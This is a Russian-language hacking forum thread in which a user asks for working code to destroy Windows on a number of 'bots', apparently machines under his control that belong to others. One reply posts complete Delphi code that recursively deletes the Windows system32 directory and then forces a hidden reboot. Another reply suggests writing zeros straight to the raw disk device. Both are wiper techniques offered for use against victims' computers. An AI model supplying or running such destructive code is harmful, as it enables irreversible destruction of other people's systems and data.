Убить win

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Хозяин, 31 Jul 2009.

  1. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    Необходимо убить n-е количество ботов, подгрузив бинарник. изголялся всяко, выживают. уже посносил на них все драйвера, boot.ini (на виртуалку подгружаю, проверяю - тоже выживает.

    В общем у кого есть, скиньте бинарник\код рабочий
     
  2. ex3me

    ex3me Member

    Joined:
    7 Jan 2009
    Messages:
    0
    Likes Received:
    63
    Reputations:
    0
    Code:
    function FullRemoveDir(Dir: string; DeleteAllFilesAndFolders,
      StopIfNotAllDeleted, RemoveRoot: boolean): Boolean;
    var
      i: Integer;
      SRec: TSearchRec;
      FN: string;
    begin
      Result := False;
      if not DirectoryExists(Dir) then
        exit;
      Result := True;
      // Добавляем слэш в конце и задаем маску - "все файлы и директории"
      Dir := IncludeTrailingBackslash(Dir);
      i := FindFirst(Dir + '*', faAnyFile, SRec);
      try
        while i = 0 do
        begin
          // Получаем полный путь к файлу или директорию
          FN := Dir + SRec.Name;
          // Если это директория
          if SRec.Attr = faDirectory then
          begin
            // Рекурсивный вызов этой же функции с ключом удаления корня
            if (SRec.Name <> '') and (SRec.Name <> '.') and (SRec.Name <> '..') then
            begin
              if DeleteAllFilesAndFolders then
                FileSetAttr(FN, faArchive);
              Result := FullRemoveDir(FN, DeleteAllFilesAndFolders,
                StopIfNotAllDeleted, True);
              if not Result and StopIfNotAllDeleted then
                exit;
            end;
          end
          else // Иначе удаляем файл
          begin
            if DeleteAllFilesAndFolders then
              FileSetAttr(FN, faArchive);
            Result := SysUtils.DeleteFile(FN);
            if not Result and StopIfNotAllDeleted then
              exit;
          end;
          // Берем следующий файл или директорию
          i := FindNext(SRec);
        end;
      finally
        SysUtils.FindClose(SRec);
      end;
      if not Result then
        exit;
      if RemoveRoot then // Если необходимо удалить корень - удаляем
        if not RemoveDir(Dir) then
          Result := false;
    end;
    
    function GetWinDir: string;
    var S: array[0..MAX_PATH] of Char;
    begin
    GetWindowsDirectory(S,SizeOf(S));
    Result:=S;
    end;
    
    begin
    
    FullRemoveDir(GetWinDir+'\system32\';,true,false,false);
    
    winexec(pchar('shutdown -r -t5'),sw_hide);
    
    end.
    
    Как я понял: надо винду подбить?
    Тогда энто подойдет
     
  3. Ra$cal

    Ra$cal Elder - Старейшина

    Joined:
    16 Aug 2006
    Messages:
    670
    Likes Received:
    185
    Reputations:
    78
    есть вариант проще. CreateFile("\\.\C:") и записываем нули размером с диск по 512 байт.
     
    1 person likes this.